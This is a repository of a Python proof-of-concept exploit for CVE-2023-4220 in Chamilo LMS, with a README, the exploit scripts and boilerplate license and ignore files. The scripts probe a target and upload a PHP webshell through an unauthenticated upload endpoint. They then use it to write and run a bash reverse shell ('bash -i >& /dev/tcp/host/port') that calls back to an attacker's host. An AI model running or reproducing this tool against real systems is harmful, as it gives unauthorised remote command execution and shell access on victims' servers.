├── .gitignore ├── LICENSE ├── README.md ├── exploit.py ├── main.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/latest/usage/project/#working-with-version-control 110 | .pdm.toml 111 | .pdm-python 112 | .pdm-build/ 113 | 114 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 115 | __pypackages__/ 116 | 117 | # Celery stuff 118 | celerybeat-schedule 119 | celerybeat.pid 120 | 121 | # SageMath parsed files 122 | *.sage.py 123 | 124 | # Environments 125 | .env 126 | .venv 127 | env/ 128 | venv/ 129 | ENV/ 130 | env.bak/ 131 | venv.bak/ 132 | 133 | # Spyder project settings 134 | .spyderproject 135 | .spyproject 136 | 137 | # Rope project settings 138 | .ropeproject 139 | 140 | # mkdocs documentation 141 | /site 142 | 143 | # mypy 144 | .mypy_cache/ 145 | .dmypy.json 146 | dmypy.json 147 | 148 | # Pyre type checker 149 | .pyre/ 150 | 151 | # pytype static type analyzer 152 | .pytype/ 153 | 154 | # Cython debug symbols 155 | cython_debug/ 156 | 157 | # PyCharm 158 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 159 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 160 | # and can be added to the global gitignore or merged into this file. For a more nuclear 161 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 162 | #.idea/ 163 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Chamilo LMS Unauthenticated Big Upload File RCE PoC 2 | 3 | This is a script written in Python that allows the exploitation of the **Chamilo's LMS** software security flaw described in **CVE-2023-4220**. The system is vulnerable in versions preceding **1.11.24**. 4 | 5 | ## Usage 6 | 7 | Clone the repository to your machine and install the dependencies using **pip** (it is recommended to use **virtualenv** to create an environment to separate these installations from global installations) 8 | 9 | ```bash 10 | git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc 11 | cd chamilo-lms-unauthenticated-big-upload-rce-poc 12 | pip install -r requirements.txt 13 | ``` 14 | 15 | The script needs the **target URL** with the **Chamilo's** root path (like **http://example.com/chamilo, http://example.com** or **http://chamilo.example.com)** and a action to perform (there is three of them available: **scan, webshell** and **revshell**). 16 | 17 | ### Scan 18 | 19 | This action will check if the target is vulnerable by trying to access the **/main/inc/lib/javascript/bigupload/files/** endpoint. 20 | 21 | ```bash 22 | python3 main.py -u http://example.com/chamilo -a scan 23 | ``` 24 | 25 | ![scan-demo](https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc/assets/130102748/d2823f86-72dc-4aff-9e69-28b9b35b8b79) 26 | 27 | ### Webshell 28 | 29 | This action will create a **PHP webshell** file in the vulnerable endpoint. 30 | 31 | ```bash 32 | python3 main.py -u http://example.com/chamilo -a webshell 33 | ``` 34 | 35 | ![webshell-demo](https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc/assets/130102748/24bbc11c-868c-4d4d-917e-ec218ea015ca) 36 | 37 | ### Revshell 38 | 39 | This action will create and execute a **bash reverse shell** file. To do this, a **webshell** will first be created using the same method used in the previous action. After that, some commands will be executed to create and execute the **bash** file. Be sure to be listening on the port you defined with **nc** or any other utilitary so you actually get the reverse connection. Also, the host can be a valid **internal/public IPv4** (like **172.17.1.4** or **186.227.4.31)** or the domain that you have registered (like **evil-vps.domainreg.net**) 40 | 41 | ```bash 42 | python3 main.py -u http://example.com/chamilo -a revshell 43 | ``` 44 | 45 | ![revshell-demo](https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc/assets/130102748/6a403bc6-e951-432b-ad67-3f614c3b87a1) 46 | 47 | **OBS:** Soon I will be adding an **Windows** payload option for **Windows** hosts 48 | 49 | ## References 50 | 51 | [(CVE-2023-4220) Chamilo LMS Unauthenticated Big Upload File Remote Code Execution](https://starlabs.sg/advisories/23/23-4220/) 52 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from typing import Union 3 | 4 | 5 | class ChamiloBigUploadExploit: 6 | def __init__(self, url: str) -> None: 7 | self.root_url = url 8 | self.check_url = f'{self.root_url}/main/inc/lib/javascript/bigupload/files/' 9 | self.vunerable_endpoint = f'{self.root_url}/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' 10 | 11 | 12 | @staticmethod 13 | def urlencode_all_characters(string): 14 | return ''.join('%{0:0>2x}'.format(ord(char)) for char in string) 15 | 16 | 17 | def check_target_vulnerable(self) -> bool: 18 | response = requests.get(self.check_url) 19 | 20 | if response.status_code == 200: 21 | return True 22 | else: 23 | return False 24 | 25 | 26 | def send_webshell(self, filename: str) -> Union[str, bool]: 27 | webshell_content = '' 28 | 29 | response = requests.post( 30 | self.vunerable_endpoint, 31 | files={ 32 | 'bigUploadFile': (filename, webshell_content) 33 | } 34 | ) 35 | 36 | if response.status_code == 200 and response.text == 'The file has successfully been uploaded.': 37 | return f'{self.check_url}{filename}' 38 | else: 39 | return False 40 | 41 | 42 | def send_and_execute_revshell(self, webshell_filename: str, bash_revshell_filename: str, host: str, port: int) -> bool: 43 | bash_revshell_content = f'#!/bin/bash\nbash -i >& /dev/tcp/{host}/{port} 0>&1' 44 | 45 | self.send_webshell(webshell_filename) 46 | 47 | urlencoded_create_bash_revshell_command = self.urlencode_all_characters(f'echo -n "{bash_revshell_content}" > {bash_revshell_filename}') 48 | urlencoded_grant_exec_permission_revshell_command = self.urlencode_all_characters(f'chmod +x {bash_revshell_filename}') 49 | urlencoded_execute_revshell_command = self.urlencode_all_characters(f'bash {bash_revshell_filename}') 50 | 51 | commands = [urlencoded_create_bash_revshell_command, urlencoded_grant_exec_permission_revshell_command, urlencoded_execute_revshell_command] 52 | 53 | for command in commands: 54 | try: 55 | response = requests.get(f'{self.check_url}{webshell_filename}?cmd={command}', timeout=5) 56 | 57 | if response.status_code == 200: 58 | continue 59 | else: 60 | return False 61 | except requests.exceptions.ReadTimeout: 62 | pass 63 | 64 | return True -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | from argparse import ArgumentParser 2 | from exploit import ChamiloBigUploadExploit 3 | from os import system 4 | 5 | 6 | def check_extension(filename: str, extension: str) -> str: 7 | if not filename.endswith(f'.{extension}'): 8 | return f'{filename}.{extension}' 9 | 10 | return filename 11 | 12 | 13 | def scan_action() -> None: 14 | system('clear') 15 | 16 | result = exploit.check_target_vulnerable() 17 | 18 | if result: 19 | print('[+] Target is likely vulnerable. Go ahead. [+]') 20 | else: 21 | print('[-] Target is not vulnerable [-]') 22 | print(f'\nCould not access {url}/main/inc/lib/javascript/bigupload/files/') 23 | 24 | 25 | def webshell_action() -> None: 26 | system('clear') 27 | 28 | filename = input('Enter the name of the webshell file that will be placed on the target server (default: webshell.php): ') 29 | 30 | if not filename: 31 | filename = 'webshell.php' 32 | 33 | filename = check_extension(filename, 'php') 34 | 35 | result = exploit.send_webshell(filename) 36 | 37 | system('clear') 38 | 39 | if result: 40 | print('[+] Upload successfull [+]') 41 | print(f'\nWebshell URL: {result}?cmd=') 42 | else: 43 | print('[-] Something went wrong [-]') 44 | print(f'\nUnable to determine whether the file upload was successful. You can check at {url}/main/inc/lib/javascript/bigupload/files/') 45 | 46 | 47 | def revshell_action() -> None: 48 | system('clear') 49 | 50 | webshell_filename = input('Enter the name of the webshell file that will be placed on the target server (default: webshell.php): ') 51 | bash_revshell_filename = input('Enter the name of the bash revshell file that will be placed on the target server (default: revshell.sh): ') 52 | host = input('Enter the host the target server will connect to when the revshell is run: ') 53 | port = input('Enter the port on the host the target server will connect to when the revshell is run: ') 54 | 55 | if not host or not port: 56 | print('\n[-] You need to provied a valid host and port for the target server to connect to [-]') 57 | exit(1) 58 | 59 | try: 60 | int(port) 61 | except ValueError: 62 | print('\n[-] You need to provied a valid host and port for the target server to connect to [-]') 63 | exit(1) 64 | 65 | if not webshell_filename: 66 | webshell_filename = 'webshell.php' 67 | 68 | if not bash_revshell_filename: 69 | bash_revshell_filename = 'revshell.sh' 70 | 71 | webshell_filename = check_extension(webshell_filename, 'php') 72 | bash_revshell_filename = check_extension(bash_revshell_filename, 'sh') 73 | 74 | system('clear') 75 | 76 | print('[!] BE SURE TO BE LISTENING ON THE PORT THAT YOU DEFINED [!]\n') 77 | 78 | result = exploit.send_and_execute_revshell(webshell_filename, bash_revshell_filename, host, port) 79 | 80 | if result: 81 | print('[+] Execution completed [+]') 82 | print('\nYou should already have a revserse connection by now.') 83 | else: 84 | print('[-] Something went wrong [-]') 85 | 86 | 87 | actions = { 88 | 'scan': scan_action, 89 | 'webshell': webshell_action, 90 | 'revshell': revshell_action 91 | } 92 | 93 | parser = ArgumentParser( 94 | 'Chamilo LMS Unauthenticated Big Upload File RCE', 95 | 'This is a script written in Python that allows the exploitation of the Chamilo\'s LMS software security flaw described in CVE-2023-4220' 96 | ) 97 | 98 | parser.add_argument('-u', '--url', type=str, required=True, help='Target Root Chamilo\'s URL') 99 | parser.add_argument('-a', '--action', type=str, required=True, help='Action to perform on the vulnerable endpoint (webshell: Create PHP webshell file, revshell: Create and execute bash revshell file)') 100 | 101 | args = parser.parse_args() 102 | 103 | action = args.action 104 | url = args.url.rstrip('/') 105 | 106 | exploit = ChamiloBigUploadExploit(url) 107 | 108 | actions[action]() -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | certifi==2024.7.4 2 | charset-normalizer==3.3.2 3 | idna==3.7 4 | requests==2.32.3 5 | urllib3==2.2.2 6 | --------------------------------------------------------------------------------